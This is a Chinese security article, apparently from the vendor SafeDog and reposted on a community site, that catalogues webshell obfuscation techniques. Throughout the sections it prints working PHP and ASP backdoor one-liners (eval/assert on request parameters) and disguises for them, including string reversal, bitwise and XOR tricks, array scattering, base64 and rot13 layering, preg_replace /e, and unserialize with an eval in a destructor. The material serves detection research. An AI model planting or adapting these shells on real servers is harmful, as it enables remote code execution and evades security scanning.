1. 云栖社区>
  2. PHP教程>
  3. 正文

未知攻焉知防 — Webshell变形技术集锦

作者:用户 来源:互联网 时间:2017-12-01 13:47:01

技术集锦

未知攻焉知防 — Webshell变形技术集锦 - 摘要: 本文讲的是未知攻焉知防 — Webshell变形技术集锦,本文主要针对webshell变形技术进行一次总体的分析和提炼,欢迎交流。 0x1: 利用字符串变形技术改变隐秘特征码 传统的shell免杀方式, 利用字符串函数以及字符串操作符, 将字符串进行多次分割、编码、变形后再组装成

本文主要针对webshell变形技术进行一次总体的分析和提炼,欢迎交流。 未知攻焉知防 — Webshell变形技术集锦 0x1: 利用字符串变形技术改变隐秘特征码

传统的shell免杀方式, 利用字符串函数以及字符串操作符, 将字符串进行多次分割、编码、变形后再组装成后门代码然后调用执行.

简单的字符串变形 <% Function MorfiCoder(Code) MorfiCoder=Replace(Replace(StrReverse(Code),"/*/",""""),"/*/",vbCrlf) End Function Execute MorfiCoder(")/*/z/*/(tseuqer lave") %>

这段代码将"eval request(/*/z/*/)"逆序成")/*/z/*/(tseuqer lave", 以逃避特征码查杀, 当脚本被访问, 其代码会被动态的解码还原成原始的一句话后门. 当前90%以上的未知后门和变形后门都是使用此类动态解码技术 .

复杂的字符串组合

未知攻焉知防 — Webshell变形技术集锦

//在一系列的复杂解码操作之后, $Q 存储了所有的后门代码$Q=str_replace('Do','',$b.$w.$K.$a.$H.$I.$A.$M.$t.$f.$S);//$y=>create_function$P=$y('',$Q);$P();//最后通过动态创建并调用函数变量$P, 得以触发后门执行。 0x2:利用运算符变形

大部分的脚本语言中都有操作符. 不同的操作符对应的对象不同, 操作功能也各异. 这使得代码变形有了更大的发挥空间.

PHP中的位运算符

未知攻焉知防 — Webshell变形技术集锦

这些运算符都可以操作字符串!!!

简单的按位取反, 获取的后门代码就是完全不可识别的。

未知攻焉知防 — Webshell变形技术集锦

更多的运算符的组合搭配, 导致特征码完全不固定, 极其灵活.

<?php//一句话密码1987$y=~督耽孩^'(1987)';var_dump($y);//string(6) "assert"$y($_POST[1987]); ?> 0x3: 利用数据结构分散特征码

传统的一句话木马很容易被查杀. 但是在代码多次变形之后, 就会变得肉眼难以识别. 除非借助专门的工具, 否则很难分析出原始代码.

原理: 将外部传入数据,放入特定的数据结构中, 再以特定方式,抽取出变量组合成攻击代码, 从而分散特征标识.

简单的数组变形 <?php$_ = array("exp"=>$_GET["a"]);echo eval($_["exp"]); ?>

PHP这类脚本语言因为自身的灵活性, 导致变量名的识别难度增加, 攻击者可以将传入的参数放入数组中, 再赋值给这些迷惑性很高的变量名, 最后再进行调用.

复杂的数组变形 <? $__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09"; $__P_P="abcdefghijklmnopqrstuvwxyz"; $__X_X="123456789"; $__O_O=$__X_X[5].$__X_X[3]."_"; $__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4]; $__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4]; $__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11]; $__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4]; $__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13]; $_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");'); @$_[00]($__H_H($__H_H($__C_C))); //解码后即==> eval($_POST[x]);?>

将关键字分散存储在数组中, 再将其提取出来组合成关键函数名, 最后通过变量函数调用。

这类变形脚本的一个特征就是——“反人类”。和正常的网页脚本差距非常大,所以某个程度上说也其实也是最容易识别的。

0x4: 利用语言自带变形函数增加复杂度

语言的函数越多,功能就越强大,代码变形就越容易。多种函数混合+编码转换就是目前各种代码外壳混淆加密算法的基础。

str_rot13变形 <?php eval(str_rot13('riny($_CBFG[cntr]);')); //等同于eval($_POST[page]); ?> base64加解密 <?php function phpencode($code) { $code = str_replace(array('<?php','?>','<?PHP'),array('','',''),$code);$encode = base64_encode(gzdeflate($code));// 开始编码 $encode = '<?php'."/neval(gzinflate(base64_decode("."'".$encode."'".")));/n?>"; return $encode; } function phpdecode($code) { $code = str_replace(array('<!?php','<?PHP',"eval(gzinflate(base64_decode('","')));",'?>'),array('','','','','',''),$code); $decode = base64_decode($code); $decode = @gzinflate($decode); return $decode; } ?> urlencode加密转换 <?php $自由=$_REQUEST[a]; assert(${urldecode("%E8%87%AA%E7%94%B1")}); ?> utf8_encode <?php $自由=$_REQUEST[a]; $z=utf8_encode("自由"); $log=${utf8_decode($z)}; eval($log); ?>

编码转换千千万万, 组合方法更是千变万化。目前市面上的大部分加密软件都是以此为基础, 再进行深度加密。原因就是其免扩展,纯绿色,适用范围广泛,混淆度高。再加上循环检测机制可以做的极其复杂, 使得其在免杀shell中得到了非常广泛的使用。

让我们看一下加密前后的对比图:

肉眼已经无法识别,,不过仍可被安全狗“啸天”引擎精准分析查杀哦。

0x5: 利用自定义函数增加代码复杂度

未知攻焉知防 — Webshell变形技术集锦

通过自定义的加解密函数, 可以将各种特征码标识完美的隐藏起来。这类加密被广泛使用于大马加密.

常见的有 可逆加密 和 不可逆加密.

可逆加密, 即如上图所示, 加密代码只是为了绕过特征码查杀, shell本身被获取之后, 通过针对性的解密函数, 就可以获取原文。

不可逆加密,即通过DES,RSA这类非对称的加密算法, 将shell全文加密之后, 攻击者在访问时, 通过用户端提交的私钥解码出shell明文, 再继续执行. 这样就算加密shell被截获, 也无法分析出shell原文。

0x6: 利用语言特性增加识别复杂度

一些语言特有的特性和函数, 可以被用来做代码混淆。由于PHP特性太多,这里只列举几个常用的.

正则替换函数执行代码

preg_replace函数原型: mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

/e 修正符使 preg_replace() 将 replacement 参数当作PHP代码执行。

<?php function header_error($str{ @preg_replace("//e",$_POST['IN_TEMPLATE_ERROR'],"Access Denied"); } ?> 语法特性 花括号内执行代码 <?php $tk = array("a"=>"assert"); $a = "${ $tk["a"]( $_GET[a])}"; ?> Curly Syntax 漏洞利用

未知攻焉知防 — Webshell变形技术集锦

常量 <?php define("ABC",$_REQUEST[ABC]); assert(ABC); ?> 动态创建函数 <?php $x="as{$_REQUEST[1]}e{$_REQUEST[2]}" ; $x($_REQUEST[3]); ?> 序列化与反序列化特性 <?php class Blog { var $vul = ''; function __destruct() { eval($this->vul); } } unserialize($_GET['name']); ?> index.php?name=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} 0x7: 利用高级语法特性

高级的语法特性在提高程序员生产力的同时, 也为黑客提供了更多的便利。

反射机制

将后门代码放到/**/注释中,然后利用类的反射机制获取到,最后进行动态函数的执行。此种手法的强大之处在于, 代码以任意一种格式存在,极其灵活, 没有行限制。

未知攻焉知防 — Webshell变形技术集锦

将操作封装成正常的类,再进行调用,和正常代码基本无二,检测和查杀难度进一步提升。

未知攻焉知防 — Webshell变形技术集锦

总结: 从简单的字符串变形到复杂的随机字符串生成组合、从单文件的大马到多文件的封装调用;从可识别的一句话到网络多重加密的非对称后门;从基于脚本的功能堆积形后门到基于容器特性的隐蔽型远控。伴随这越来越多新技术的出现, webshell的特性和使用方式也会越来越多, 危害也也会越来越大。安全狗相信只有在动态对抗、 动态学习的机制下, 才能更好的应对未来黑客的攻击。

【原文: 未知攻焉知防 —Webshell变形技术集锦 作者 安全狗 安全脉搏SP小编整理发布】

【本文版权归安全脉搏所有,未经许可不得转载。文章仅代表作者看法,如有不同观点,欢迎添加安全脉搏微信号:SecPulse,进行交流。】

以上是云栖社区小编为您精心准备的的内容,在云栖社区的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索技术 集锦 ,以便于您获取更多的相关知识。